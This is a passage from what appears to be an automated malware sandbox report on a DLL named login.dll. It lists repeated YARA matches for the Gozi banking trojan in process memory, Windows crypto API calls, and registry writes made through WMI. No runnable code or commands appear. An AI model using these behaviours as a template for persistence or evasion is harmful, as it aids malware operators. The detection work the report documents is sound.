      Source: Yara matchFile source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
      Source: Yara matchFile source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTR
      Source: Yara matchFile source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTR
      Source: C:\Windows\System32\loaddll32.exeCode function: 0_2_02C51508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,0_2_02C51508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04BE1508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,4_2_04BE1508
      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 5_2_04D51508 CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,5_2_04D51508

      System Summary

      barindex
      Malicious sample detected (through community Yara rule)
      Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402754328.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420136770.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420215515.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000002.777293786.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402859474.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.435117277.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.434913217.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402946771.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400069783.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.746495986.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000002.777253289.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420251471.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400182449.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400160942.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.435078863.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.435048081.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420079867.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000002.777262030.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.434692757.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402934814.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000005.00000003.402921361.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400235978.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400211762.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000004.00000003.400020608.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.432582801.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420266026.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000000.00000003.420171576.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: 00000003.00000003.432738373.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: loaddll32.exe PID: 2956, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: regsvr32.exe PID: 5292, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5284, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_fd494041 Author: unknown
      Source: Process Memory Space: rundll32.exe PID: 5192, type: MEMORYSTRMatched rule: Windows_Trojan_Gozi_261f5ac5 Author: unknown
      Writes or reads registry keys via WMI
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\System32\loaddll32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Writes registry values via WMI
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\System32\loaddll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\regsvr32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
      Source: C:\Windows\SysWOW64\rundll32.exeWMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
      Source: login.dllStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
      Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402824298.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402788585.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400112516.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000004.00000003.400138140.0000000005608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000002.776926213.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420109075.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000005.00000003.402902161.0000000005C78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000003.00000003.435100525.0000000005838000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
      Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_fd494041 reference_sample = 0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2, id = fd494041-3fe8-4ffa-9ab8-6798032f1d66, last_modified = 2021-08-23
      Source: 00000000.00000003.420196310.0000000003AD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Gozi_261f5ac5 reference_sample = 31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f, os = windows, severity = x86, creation_date = 2019-08-02, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Gozi, fingerprint = cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c, id = 261f5ac5-7800-4580-ac37-80b71c47c270, last_modified = 2021-08-23
